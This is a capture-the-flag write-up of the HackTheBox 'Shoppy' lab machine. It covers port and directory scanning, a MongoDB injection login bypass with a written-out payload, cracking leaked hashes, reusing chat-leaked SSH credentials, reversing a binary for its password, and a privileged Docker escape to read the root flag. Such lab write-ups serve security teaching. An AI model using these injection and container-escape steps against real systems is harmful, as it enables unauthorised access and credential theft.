Skip to main content
  1. Posts/

HackTheBox - Shoppy Writeup

·1506 words·8 mins
Table of Contents
Recon>

Recon #

Firstly, we run nmap:

┌──(parallels㉿kali-linux-2022-2)-[~]
└─$ nmap -A -T5 -p- 10.10.11.180
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-13 13:43 CET
Warning: 10.10.11.180 giving up on port because retransmission cap hit (2).
Stats: 0:01:03 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 66.67% done; ETC: 13:45 (0:00:26 remaining)
Nmap scan report for 10.10.11.180
Host is up (0.025s latency).
Not shown: 65333 closed tcp ports (conn-refused), 199 filtered tcp ports (no-response)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 9e5e8351d99f89ea471a12eb81f922c0 (RSA)
|   256 5857eeeb0650037c8463d7a3415b1ad5 (ECDSA)
|_  256 3e9d0a4290443860b3b62ce9bd9a6754 (ED25519)
80/tcp   open  http     nginx 1.23.1
|_http-title: Did not follow redirect to http://shoppy.htb
|_http-server-header: nginx/1.23.1
9093/tcp open  copycat?
| fingerprint-strings: 
|   GenericLines: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest, HTTPOptions: 
|     HTTP/1.0 200 OK
|     Content-Type: text/plain; version=0.0.4; charset=utf-8
|     Date: Fri, 13 Jan 2023 12:44:09 GMT
|     HELP go_gc_cycles_automatic_gc_cycles_total Count of completed GC cycles generated by the Go runtime.
|     TYPE go_gc_cycles_automatic_gc_cycles_total counter
|     go_gc_cycles_automatic_gc_cycles_total 1158
|     HELP go_gc_cycles_forced_gc_cycles_total Count of completed GC cycles forced by the application.
|     TYPE go_gc_cycles_forced_gc_cycles_total counter
|     go_gc_cycles_forced_gc_cycles_total 0
|     HELP go_gc_cycles_total_gc_cycles_total Count of all completed GC cycles.
|     TYPE go_gc_cycles_total_gc_cycles_total counter
|     go_gc_cycles_total_gc_cycles_total 1158
|     HELP go_gc_duration_seconds A summary of the pause duration of garbage collection cycles.
|     TYPE go_gc_duration_seconds summary
|     go_gc_duration_seconds{quantile="0"} 3.0597e-05
|_    go_gc_duration_seconds{quantile="0.25"} 6.0793e-05
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9093-TCP:V=7.93%I=7%D=1/13%Time=63C15218%P=aarch64-unknown-linux-gn
SF:u%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type
SF::\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x2
SF:0Bad\x20Request")%r(GetRequest,2A5A,"HTTP/1\.0\x20200\x20OK\r\nContent-
SF:Type:\x20text/plain;\x20version=0\.0\.4;\x20charset=utf-8\r\nDate:\x20F
SF:ri,\x2013\x20Jan\x202023\x2012:44:09\x20GMT\r\n\r\n#\x20HELP\x20go_gc_c
SF:ycles_automatic_gc_cycles_total\x20Count\x20of\x20completed\x20GC\x20cy
SF:cles\x20generated\x20by\x20the\x20Go\x20runtime\.\n#\x20TYPE\x20go_gc_c
SF:ycles_automatic_gc_cycles_total\x20counter\ngo_gc_cycles_automatic_gc_c
SF:ycles_total\x201158\n#\x20HELP\x20go_gc_cycles_forced_gc_cycles_total\x
SF:20Count\x20of\x20completed\x20GC\x20cycles\x20forced\x20by\x20the\x20ap
SF:plication\.\n#\x20TYPE\x20go_gc_cycles_forced_gc_cycles_total\x20counte
SF:r\ngo_gc_cycles_forced_gc_cycles_total\x200\n#\x20HELP\x20go_gc_cycles_
SF:total_gc_cycles_total\x20Count\x20of\x20all\x20completed\x20GC\x20cycle
SF:s\.\n#\x20TYPE\x20go_gc_cycles_total_gc_cycles_total\x20counter\ngo_gc_
SF:cycles_total_gc_cycles_total\x201158\n#\x20HELP\x20go_gc_duration_secon
SF:ds\x20A\x20summary\x20of\x20the\x20pause\x20duration\x20of\x20garbage\x
SF:20collection\x20cycles\.\n#\x20TYPE\x20go_gc_duration_seconds\x20summar
SF:y\ngo_gc_duration_seconds{quantile=\"0\"}\x203\.0597e-05\ngo_gc_duratio
SF:n_seconds{quantile=\"0\.25\"}\x206\.0793e-05\ngo_")%r(HTTPOptions,2A5A,
SF:"HTTP/1\.0\x20200\x20OK\r\nContent-Type:\x20text/plain;\x20version=0\.0
SF:\.4;\x20charset=utf-8\r\nDate:\x20Fri,\x2013\x20Jan\x202023\x2012:44:09
SF:\x20GMT\r\n\r\n#\x20HELP\x20go_gc_cycles_automatic_gc_cycles_total\x20C
SF:ount\x20of\x20completed\x20GC\x20cycles\x20generated\x20by\x20the\x20Go
SF:\x20runtime\.\n#\x20TYPE\x20go_gc_cycles_automatic_gc_cycles_total\x20c
SF:ounter\ngo_gc_cycles_automatic_gc_cycles_total\x201158\n#\x20HELP\x20go
SF:_gc_cycles_forced_gc_cycles_total\x20Count\x20of\x20completed\x20GC\x20
SF:cycles\x20forced\x20by\x20the\x20application\.\n#\x20TYPE\x20go_gc_cycl
SF:es_forced_gc_cycles_total\x20counter\ngo_gc_cycles_forced_gc_cycles_tot
SF:al\x200\n#\x20HELP\x20go_gc_cycles_total_gc_cycles_total\x20Count\x20of
SF:\x20all\x20completed\x20GC\x20cycles\.\n#\x20TYPE\x20go_gc_cycles_total
SF:_gc_cycles_total\x20counter\ngo_gc_cycles_total_gc_cycles_total\x201158
SF:\n#\x20HELP\x20go_gc_duration_seconds\x20A\x20summary\x20of\x20the\x20p
SF:ause\x20duration\x20of\x20garbage\x20collection\x20cycles\.\n#\x20TYPE\
SF:x20go_gc_duration_seconds\x20summary\ngo_gc_duration_seconds{quantile=\
SF:"0\"}\x203\.0597e-05\ngo_gc_duration_seconds{quantile=\"0\.25\"}\x206\.
SF:0793e-05\ngo_");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 110.63 seconds

As we can see, we need to add the following line on our /ect/hosts to visit the webserver: 10.10.11.180 shoppy.htb

Once done, we can see a web page with a time counter:

bc96afe8cc7c30b87a99173c33fce81c.png

Now, let’s enumerate directories:

┌──(parallels㉿kali-linux-2022-2)-[~]
└─$ gobuster dir --url http://shoppy.htb/ -b 404,400,500,503 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://shoppy.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404,400,500,503
[+] User Agent:              gobuster/3.4
[+] Timeout:                 10s
===============================================================
2023/01/13 13:52:14 Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 179] [--> /images/]
/login                (Status: 200) [Size: 1074]
/admin                (Status: 302) [Size: 28] [--> /login]
/assets               (Status: 301) [Size: 179] [--> /assets/]
/css                  (Status: 301) [Size: 173] [--> /css/]
/Login                (Status: 200) [Size: 1074]
/js                   (Status: 301) [Size: 171] [--> /js/]
/fonts                (Status: 301) [Size: 177] [--> /fonts/]
/Admin                (Status: 302) [Size: 28] [--> /login]
/exports              (Status: 301) [Size: 181] [--> /exports/]

So let’s see the login page:

55447197a8b95fa442eaaa172d741231.png

We’ll try to realize an SQL injection with sqlmap but there is a timeout. So after several try, we use mongomap:

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/shoppy/mongomap]
└─$ python3 mongomap.py -u http://shoppy.htb/login --method POST --data "username=emile&password=emile"
╔═╗╔═╗╔═══╗╔═╗─╔╗╔═══╗╔═══╗╔═╗╔═╗╔═══╗╔═══╗
║║╚╝║║║╔═╗║║║╚╗║║║╔═╗║║╔═╗║║║╚╝║║║╔═╗║║╔═╗║
║╔╗╔╗║║║─║║║╔╗╚╝║║║─╚╝║║─║║║╔╗╔╗║║║─║║║╚═╝║
║║║║║║║║─║║║║╚╗║║║║╔═╗║║─║║║║║║║║║╚═╝║║╔══╝
║║║║║║║╚═╝║║║─║║║║╚╩═║║╚═╝║║║║║║║║╔═╗║║║───
╚╝╚╝╚╝╚═══╝╚╝─╚═╝╚═══╝╚═══╝╚╝╚╝╚╝╚╝─╚╝╚╝───
By Hex_27
[*] v1.0.0
[?] Redirect to http://shoppy.htb/login detected. Follow? [y/N] N
[+] URL can be reached.                                                                                                                                                                                            


[*] Beginning testing phase.
[*] Testing for param username
[i] Attempting Not-Equals Array (param[$ne]) Injection
[+] username is Not-Equals Array (param[$ne]) Injection injectable!
[i] Attempting Regex Array (param[$regex]) Blind Injection
[i] Attempting Where Always True Function Injection
[+] Basic check succeeded!
[+] Error-based content check worked!
[+] Payload built!
[+] '; return this; var dum = '
[+] username is Where Always True Function Injection injectable!
[i] Attempting Where (Function Javascript Evaluation) Blind Injection (JSONStringify)
[+] Basic check succeeded!
[+] Error-based content check worked!
[+] Payload built!
[+] username is Where (Function Javascript Evaluation) Blind Injection (JSONStringify) injectable!
[i] Attempting Where Always True Injection
Exploit>

Exploit #

We try to input '; return this; var dum = ' as username and we can bypass the authent:

831e0650ea85055068ee176c75cd914e.png

Then, we can search for users, we do the same trick:

6c7267935e020c8e6c2b0e39ac157c52.png

Here is the result:

[{"_id":"62db0e93d6d6a999a66ee67a","username":"admin","password":"23c6877d9e2b564ef8b32c3a23de27b2"},{"_id":"62db0e93d6d6a999a66ee67b","username":"josh","password":"6ebcea65320589ca4f2f1ce039975995"}]

We cannot find the admin password but we can find josh password with Crackstation:

27092bdb9f6becd1088aaeefea3fba52.png

Now, let’s try to enumerate deeper the webserver:

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/shoppy/Nosql-MongoDB-injection-username-password-enumeration]
└─$ gobuster vhost --append-domain --url http://shoppy.htb/ -w /usr/share/wordlists/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt 
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://shoppy.htb/
[+] Method:          GET
[+] Threads:         10
[+] Wordlist:        /usr/share/wordlists/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt
[+] User Agent:      gobuster/3.4
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
2023/01/15 12:38:36 Starting gobuster in VHOST enumeration mode
===============================================================
Found: mattermost.shoppy.htb Status: 200 [Size: 3122]

After with found mattermost, we try to authenticate with josh’s’ credentials:

e32b556cf90fb82429f5e7cc789d4c0f.png

We got an access to mattermost !

063a617a0200a439a481896c43c5ef1d.png

We found jaeger’s creds on Deploy machine channel:

e9c39dabfd1c8d7d8841bba0d3e338c6.png

We try to authenticate through ssh with them:

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/shoppy/Nosql-MongoDB-injection-username-password-enumeration]
└─$ ssh jaeger@shoppy.htb
jaeger@shoppy.htb's password: 
Linux shoppy 5.10.0-18-amd64 #1 SMP Debian 5.10.140-1 (2022-09-02) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Jan 15 02:03:53 2023 from 10.10.14.30
jaeger@shoppy:~$

Next, we can try to list our potentials sudo privileges:

jaeger@shoppy:~$ sudo -l
[sudo] password for jaeger: 
Matching Defaults entries for jaeger on shoppy:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jaeger may run the following commands on shoppy:
    (deploy) /home/deploy/password-manager

After several tries, we can see that we don’t know the password and there is no buffer overflow.

jaeger@shoppy:~$ sudo -u deploy /home/deploy/password-manager
Welcome to Josh password manager!
Please enter your master password: Sh0ppyBest@pp!
Access denied! This incident will be reported !
PrivEsc>

PrivEsc #

So, we decide to download the program and reverse it on our machine. With IDA, we got the following code:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rax
  __int64 v4; // rdx
  __int64 v5; // rdx
  __int64 v6; // rax
  int v7; // ebx
  __int64 v8; // rax
  char v10[32]; // [rsp+0h] [rbp-60h] BYREF
  char v11[47]; // [rsp+20h] [rbp-40h] BYREF
  char v12[9]; // [rsp+4Fh] [rbp-11h] BYREF

  v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Welcome to Josh password manager!", envp);
  std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
  std::operator<<<std::char_traits<char>>(&std::cout, "Please enter your master password: ", v4);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v11);
  std::operator>><char>(&std::cin, v11);
  std::allocator<char>::allocator(v12);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v10, &unk_205C, v12);
  std::allocator<char>::~allocator(v12);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(v10, "S");
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(v10, "a");
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(v10, "m");
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(v10, "p");
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(v10, "l");
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(v10, "e");
  if ( (unsigned int)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::compare(v11, v10) )
  {
    v8 = std::operator<<<std::char_traits<char>>(&std::cout, "Access denied! This incident will be reported !", v5);
    std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>);
    v7 = 1;
  }
  else
  {
    v6 = std::operator<<<std::char_traits<char>>(&std::cout, "Access granted! Here is creds !", v5);
    std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
    system("cat /home/deploy/creds.txt");
    v7 = 0;
  }
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v10);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v11);
  return v7;
}

We know that the password is Sample and that the program will execute the command cat /home/deploy/creds.txt. Let’s run it on the machine:

jaeger@shoppy:~$ sudo -u deploy /home/deploy/password-manager
[sudo] password for jaeger: 
Welcome to Josh password manager!
Please enter your master password: Sample
Access granted! Here is creds !
Deploy Creds :
username: deploy
password: Deploying@pp!

Now, we log in as deploy and we remember that there where talking about docker on mattermost. So we’ll try to enumerate if there is come containers or images…

deploy@shoppy:~$ docker ps -a
CONTAINER ID   IMAGE          COMMAND     CREATED          STATUS                     PORTS     NAMES
deploy@shoppy:~$ docker images
REPOSITORY   TAG       IMAGE ID       CREATED        SIZE
alpine       latest    d7d3d98c851f   6 months ago   5.53MB

As there is an image, we’ll try to run it:

deploy@shoppy:~$ docker run -it d7d3d98c851f
/ # whoami
root
/ # ls -la home
total 8
drwxr-xr-x    2 root     root          4096 Jul 18 15:34 .
drwxr-xr-x    1 root     root          4096 Jan 15 12:17 ..

We got root privileges, let’s try to escape:

deploy@shoppy:~$ docker run -it --privileged d7d3d98c851f
/ # fdisk -l
Disk /dev/sda: 10 GB, 10737418240 bytes, 20971520 sectors
41120 cylinders, 255 heads, 2 sectors/track
Units: sectors of 1 * 512 = 512 bytes

Device  Boot StartCHS    EndCHS        StartLBA     EndLBA    Sectors  Size Id Type
/dev/sda1 *  4,4,1       1023,254,2        2048   18970623   18968576 9262M 83 Linux
/dev/sda2    1023,254,2  1023,254,2    18972670   20969471    1996802  975M  5 Extended
/dev/sda5    1023,254,2  1023,254,2    18972672   20969471    1996800  975M 82 Linux swap
/ # mkdir -p /mnt/exploit
/ # mount /dev/sda1 /mnt/exploit
/ # ls -la /mnt/exploit/root/
total 36
drwx------    6 root     root          4096 Jan 14 18:14 .
drwxr-xr-x   19 root     root          4096 Sep 12 18:36 ..
lrwxrwxrwx    1 root     root             9 Jul 22 16:46 .bash_history -> /dev/null
-rw-r--r--    1 root     root           571 Apr 10  2021 .bashrc
drwx------    3 root     root          4096 Jul 22 16:40 .cache
drwx------    3 root     998           4096 Jul 22 18:32 .config
lrwxrwxrwx    1 root     root             9 Jul 23 10:17 .dbshell -> /dev/null
drwxr-xr-x    3 root     root          4096 Jul 22 16:47 .local
-rw-------    1 root     root             0 Jul 23 10:16 .mongorc.js
-rw-r--r--    1 root     root           161 Jul  9  2019 .profile
drwxr-xr-x    2 root     root          4096 Jan 14 18:14 .ssh
-rw-r-----    1 root     root            33 Jan 14 11:28 root.txt
/ # cat /mnt/exploit/root/root.txt 
837f31eec4b39f366ee47c2d34ebede7

Indeed, we were able to list partitions with the --privileged flag. Then we mount /dev/sda1 in order to have access to the filesystem as root.